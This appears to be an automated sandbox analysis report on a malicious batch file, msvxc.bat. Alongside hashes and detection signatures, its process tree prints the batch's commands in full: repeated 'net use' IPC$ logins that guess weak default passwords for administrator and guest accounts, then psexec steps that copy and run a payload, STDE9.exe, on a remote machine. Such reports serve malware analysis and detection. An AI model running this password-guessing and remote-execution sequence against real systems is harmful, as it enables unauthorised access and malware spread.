Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
174s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
11/05/2023, 15:58
Behavioral task
behavioral1
Sample
Libparse.exe
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
Libparse.exe
Resource
win10v2004-20230220-en
Behavioral task
behavioral3
Sample
msvxc.bat
Resource
win7-20230220-en
Behavioral task
behavioral4
Sample
msvxc.bat
Resource
win10v2004-20230220-en
Behavioral task
behavioral5
Sample
psexec.exe
Resource
win7-20230220-en
Behavioral task
behavioral6
Sample
psexec.exe
Resource
win10v2004-20230220-en
General
-
Target
msvxc.bat
-
Size
1KB
-
MD5
c6359a6b2cf7858087f482a17b624238
-
SHA1
bbe518ba66ed1454c617c01506d8a27b7b3d507a
-
SHA256
df2631e89eedd06b94f9309598a23f4b833645c1ed1617c0ab97ff0ff9423f86
-
SHA512
1de3e018054dff10012e948b4a707fdd20dbabe63cb10d0a97ae6fbba6856316c90d53cef4e70c62fc28371021407d46ee2aa136b1e0933f131a7f2fd489f9e6
Malware Config
Signatures
-
resource yara_rule behavioral4/memory/4396-133-0x0000000000400000-0x0000000000437000-memory.dmp upx behavioral4/memory/4396-134-0x0000000000400000-0x0000000000437000-memory.dmp upx behavioral4/memory/2524-135-0x0000000000400000-0x0000000000437000-memory.dmp upx behavioral4/memory/4296-136-0x0000000000400000-0x0000000000437000-memory.dmp upx -
Runs net.exe
-
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1920 wrote to memory of 5080 1920 cmd.exe 84 PID 1920 wrote to memory of 5080 1920 cmd.exe 84 PID 1920 wrote to memory of 2120 1920 cmd.exe 85 PID 1920 wrote to memory of 2120 1920 cmd.exe 85 PID 1920 wrote to memory of 4276 1920 cmd.exe 86 PID 1920 wrote to memory of 4276 1920 cmd.exe 86 PID 1920 wrote to memory of 2180 1920 cmd.exe 87 PID 1920 wrote to memory of 2180 1920 cmd.exe 87 PID 1920 wrote to memory of 3640 1920 cmd.exe 88 PID 1920 wrote to memory of 3640 1920 cmd.exe 88 PID 1920 wrote to memory of 324 1920 cmd.exe 89 PID 1920 wrote to memory of 324 1920 cmd.exe 89 PID 1920 wrote to memory of 2676 1920 cmd.exe 90 PID 1920 wrote to memory of 2676 1920 cmd.exe 90 PID 1920 wrote to memory of 216 1920 cmd.exe 91 PID 1920 wrote to memory of 216 1920 cmd.exe 91 PID 1920 wrote to memory of 1596 1920 cmd.exe 92 PID 1920 wrote to memory of 1596 1920 cmd.exe 92 PID 1920 wrote to memory of 3844 1920 cmd.exe 93 PID 1920 wrote to memory of 3844 1920 cmd.exe 93 PID 1920 wrote to memory of 4708 1920 cmd.exe 94 PID 1920 wrote to memory of 4708 1920 cmd.exe 94 PID 1920 wrote to memory of 404 1920 cmd.exe 95 PID 1920 wrote to memory of 404 1920 cmd.exe 95 PID 1920 wrote to memory of 1392 1920 cmd.exe 96 PID 1920 wrote to memory of 1392 1920 cmd.exe 96 PID 1920 wrote to memory of 4584 1920 cmd.exe 97 PID 1920 wrote to memory of 4584 1920 cmd.exe 97 PID 1920 wrote to memory of 2148 1920 cmd.exe 98 PID 1920 wrote to memory of 2148 1920 cmd.exe 98 PID 1920 wrote to memory of 4552 1920 cmd.exe 99 PID 1920 wrote to memory of 4552 1920 cmd.exe 99 PID 1920 wrote to memory of 1872 1920 cmd.exe 100 PID 1920 wrote to memory of 1872 1920 cmd.exe 100 PID 1920 wrote to memory of 3984 1920 cmd.exe 101 PID 1920 wrote to memory of 3984 1920 cmd.exe 101 PID 1920 wrote to memory of 4304 1920 cmd.exe 102 PID 1920 wrote to memory of 4304 1920 cmd.exe 102 PID 1920 wrote to memory of 4952 1920 cmd.exe 103 PID 1920 wrote to memory of 4952 1920 cmd.exe 103 PID 1920 wrote to memory of 1004 1920 cmd.exe 104 PID 1920 wrote to memory of 1004 1920 cmd.exe 104 PID 1920 wrote to memory of 4664 1920 cmd.exe 105 PID 1920 wrote to memory of 4664 1920 cmd.exe 105 PID 1920 wrote to memory of 4940 1920 cmd.exe 106 PID 1920 wrote to memory of 4940 1920 cmd.exe 106 PID 1920 wrote to memory of 1472 1920 cmd.exe 107 PID 1920 wrote to memory of 1472 1920 cmd.exe 107 PID 1920 wrote to memory of 1752 1920 cmd.exe 108 PID 1920 wrote to memory of 1752 1920 cmd.exe 108 PID 1920 wrote to memory of 3168 1920 cmd.exe 109 PID 1920 wrote to memory of 3168 1920 cmd.exe 109 PID 1920 wrote to memory of 664 1920 cmd.exe 110 PID 1920 wrote to memory of 664 1920 cmd.exe 110 PID 1920 wrote to memory of 4732 1920 cmd.exe 111 PID 1920 wrote to memory of 4732 1920 cmd.exe 111 PID 1920 wrote to memory of 3264 1920 cmd.exe 112 PID 1920 wrote to memory of 3264 1920 cmd.exe 112 PID 1920 wrote to memory of 4396 1920 cmd.exe 113 PID 1920 wrote to memory of 4396 1920 cmd.exe 113 PID 1920 wrote to memory of 4396 1920 cmd.exe 113 PID 1920 wrote to memory of 2524 1920 cmd.exe 116 PID 1920 wrote to memory of 2524 1920 cmd.exe 116 PID 1920 wrote to memory of 2524 1920 cmd.exe 116
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\msvxc.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1920 -
C:\Windows\system32\net.exenet use \\\ipc$ "" /user:Administrator2⤵PID:5080
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "" /user:administrator2⤵PID:2120
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "" /user:admin2⤵PID:4276
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "" /user:Admin2⤵PID:2180
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "" /user:guest2⤵PID:3640
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "" /user:Guest2⤵PID:324
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "" /user:temp2⤵PID:2676
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "" /user:Temp2⤵PID:216
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "" /user:root2⤵PID:1596
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "" /user:ROOT2⤵PID:3844
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "12345" /user:Administrator2⤵PID:4708
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "zzzzz" /user:Administrator2⤵PID:404
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "xxxxx" /user:Administrator2⤵PID:1392
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "Admin" /user:Administrator2⤵PID:4584
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "guest" /user:guest2⤵PID:2148
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "2002" /user:Administrator2⤵PID:4552
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "abc123" /user:Administrator2⤵PID:1872
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "temp" /user:Administrator2⤵PID:3984
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "Administrator" /user:Administrator2⤵PID:4304
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "login" /user:Administrator2⤵PID:4952
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "root" /user:root2⤵PID:1004
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "temp" /user:Temp2⤵PID:4664
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "root" /user:Administrator2⤵PID:4940
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "adm" /user:Administrator2⤵PID:1472
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "2003" /user:Administrator2⤵PID:1752
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "default" /user:Administrator2⤵PID:3168
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "student" /user:student2⤵PID:664
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "admin" /user:Admin2⤵PID:4732
-
-
C:\Windows\system32\net.exenet use \\\ipc$ "admin" /user:admin2⤵PID:3264
-
-
C:\Users\Admin\AppData\Local\Temp\psexec.exepsexec \\ attrib.exe -r STDE9.exe2⤵PID:4396
-
-
C:\Users\Admin\AppData\Local\Temp\psexec.exepsexec \\ -f -c -d STDE9.exe -o2⤵PID:2524
-
-
C:\Users\Admin\AppData\Local\Temp\psexec.exepsexec \\ -d STDE9.exe -o2⤵PID:4296
-